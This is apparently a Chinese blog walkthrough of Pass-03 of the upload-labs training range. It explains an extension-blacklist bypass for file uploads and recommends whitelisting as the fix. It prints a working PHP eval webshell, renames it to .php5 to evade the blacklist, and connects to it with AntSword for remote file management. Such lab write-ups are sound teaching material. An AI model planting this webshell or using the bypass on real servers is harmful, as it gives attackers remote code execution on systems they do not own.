当前位置: 首页 > news >正文

upload-labs通关笔记-第3关 文件上传之黑名单绕过

目录

一、实验准备

1.构造脚本

2.打开靶场第三关

3.源码分析

4.修改配置使支持php后缀

(1)切换php ts版本

(2)定位httpd.conf文件

(3)修改AddType application字段

(4)重启小皮

二、文件上传渗透

1.修改脚本后缀

2.上传脚本

3.右键获取文件地址

4.成功访问脚本

5.蚁剑连接脚本


本文通过《upload-labs靶场通关笔记系列》来进行upload-labs靶场的渗透实战,本文讲解upload-labs靶场第三关文件黑名单渗透实战,通过绕过服务器的黑名单后缀法完成渗透。

一、实验准备

1.构造脚本

构造文件上传的脚本,内容为获取服务器的php版本信息,命名为ljn_post_0628.php,脚本code内容如下所示。

<?php @eval($_POST[ljn_0628]); ?> 

2.打开靶场第三关

firefox打开firefox靶场文件上传黑名单关卡。

http://192.168.59.1/upload-labs/Pass-03/index.php

进入文件上传pass03关卡,需要手动清空已上传文件,确保此次试验为最新上传结果。

3.源码分析

此关卡为服务端检测传上去的文件是否为图片,需通过源码来进行分析。点击查看源码,如下所示通过禁止'.asp','.aspx','.php','.jsp'四种后缀的文件上传防止上传恶意脚本。

可以看出程序中只是做了个简单的后缀名黑名单,识别上传文件的类型 查看是否是'.asp', '.aspx', '.php', '.jsp'中的一个,若果是其中的一个,则不允许上传,但是可以上传如.php3,.php5等后缀,仍然可以被利用,故而还是建议使用白名单过滤。综上所述,本段代码有黑名单过滤风险。

  • 仅禁止 .asp, .aspx, .php, .jsp,但可能遗漏其他可执行扩展名(如 .php5, .phtml)。
  • 建议改用白名单(如只允许 .jpg, .png)。

4.修改配置使支持php后缀

​​​​​通过代码审计,我们知道本关卡不允许上传.asp,.aspx,.php,.jsp后缀文件,但是可以上传其他任意后缀。比如说.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件的话,如果想要被当成php执行的话,需要有个前提条件,即Apache的httpd.conf有需要配置支持.php5后缀代码执行(靶场应该是配置好的,如果是本地复现,需要配置)。

    AddType application/x-httpd-php .php5

该语句的含义是将.php5后缀的脚本使其作为php脚本来解析,这样就可以成功解析.php5后缀名。具体方法为配置httpd.conf文件,达到使用我们添加的文件后缀php5仍然以.php解析。

(1)切换php ts版本

首先需要将网站切换为php的ts版本,网址-管理php版本如下所示。

PHPStudy中AddType application/x-httpd-php等Apache命令之所以在Apache的设置文件中设置后未实现目标效果是由于PHP的版本不符导致的,但注意这里的PHP版本并不是指PHP7.3.0、PHP7.4.0这种版本号,也不是适用于32位的PHP、适用于64位的PHP这种不同机型的版本,而是PHP的NTS(Non Thread Safe)与TS(Thread Safe)的这种不同版本导致的。 

(2)定位httpd.conf文件

首先进入httpd.conf文件,点击小皮-设置-配置文件,httpd.conf,然后点击Apache2.4.39进入。

httpd.conf文件的位置如下所示。

(3)修改AddType application字段

Ctrl +F查找AddType application关键字。

修改httpd.conf文件里的AddType application/x-httpd-php。

将php5加到php解析类型中,该语句的含义是将.php5后缀的脚本使其作为php脚本来解析,这样就可以成功解析.php5后缀名,从而绕过pass3的黑名单防范。

    AddType application/x-httpd-php .php .html .php5

(4)重启小皮

修改完配置文件记得要重启一下phpstudy服务环境。

所以由于服务端采用黑名单的过滤方式, 这里可以使用php5或phtml等的后缀上传,修改后缀名php5后缀名,也是可以当做php脚本解析的

二、文件上传渗透

1.修改脚本后缀

将php脚本的后缀改名为php5,为了具有区分度将文件名加上日期相关,如下所示,复制脚本ljn_post2_0628.php,并将其重命名为ljn_post2_0628.php5,通过文本编辑器打开图片后效果如下所示。

2.上传脚本

upload靶场点击上传,如下所示。

如下所示脚本上传成功。

3.右键获取文件地址

接下来在上传成功的图片处,右键选择获取图片地址,具体如下所示。

http://192.168.59.1/upload-labs/upload/202306270324316671.php5

4.成功访问脚本

访问上传成功后的脚本,如下所示上传成功。

一句话木马网址:http://192.168.59.1/upload-labs/upload/202306270324316671.php5
post参数:ljn_0628=phpinfo();

5.蚁剑连接脚本

蚁剑恶意木马地址:http://192.168.59.1/upload-labs/upload/202306270324316671.php5
密码:ljn_0628

连接成功后,效果如下所示。

右键选择文件管理,如下所示渗透成功。

http://www.xdnf.cn/news/430615.html

相关文章:

  • 数据结构(2)线性表-顺序表
  • 二次封装 el-dialog 组件:打造更灵活的对话框解决方案
  • VUE_UI组件的二次封装
  • Redis Cluster 集群搭建和集成使用的详细步骤示例
  • 微信小程序分包策略:优化加载性能与用户体验
  • 使用Kubernetes实现零停机部署
  • android抓包踩坑记录
  • linux系统如何将采集的串口数据存储到txt
  • TCP首部格式及三次握手四次挥手
  • 操作系统导论——第29章 基于锁的并发数据结构
  • 【25软考网工】第六章(5)应用层安全协议
  • 讯联云库项目开发日志(一)
  • 记录算法笔记(2025.5.13)二叉树的最大深度
  • 基于STM32、HAL库的ADAU1701JSTZ-RL音频接口芯片驱动程序设计
  • flink的TaskManager 内存模型
  • 奇怪的公式
  • 代码随想录三十七天 完全背包二维 完全背包一维 518. 零钱兑换 II 377. 组合总和 Ⅳ
  • 视频编解码学习十一之视频原始数据
  • 思维链实现 方式解析
  • Python----神经网络(《Inverted Residuals and Linear Bottlenecks》论文概括和MobileNetV2网络)
  • 简单介绍Qt的属性子系统
  • Python爬虫(26)Python爬虫高阶:Scrapy+Selenium分布式动态爬虫架构实践
  • MLA (Multi-head Attention Layer) 详细说明
  • 报告研读:125页2024年大模型轻量化技术研究报告——技术详细讲解【附全文阅读】
  • 9、Activiti-任务(Task)的相关操作
  • 深入浅出MySQL 8.0:新特性与最佳实践
  • java基础-方法的重写、super关键字
  • NVMe学习资料汇总
  • 浅析AI大模型为何需要向量数据库?从记忆存储到认知进化
  • AI Agent开发第65课-DIFY和企业现有系统结合实现高可配置的智能零售AI Agent(下)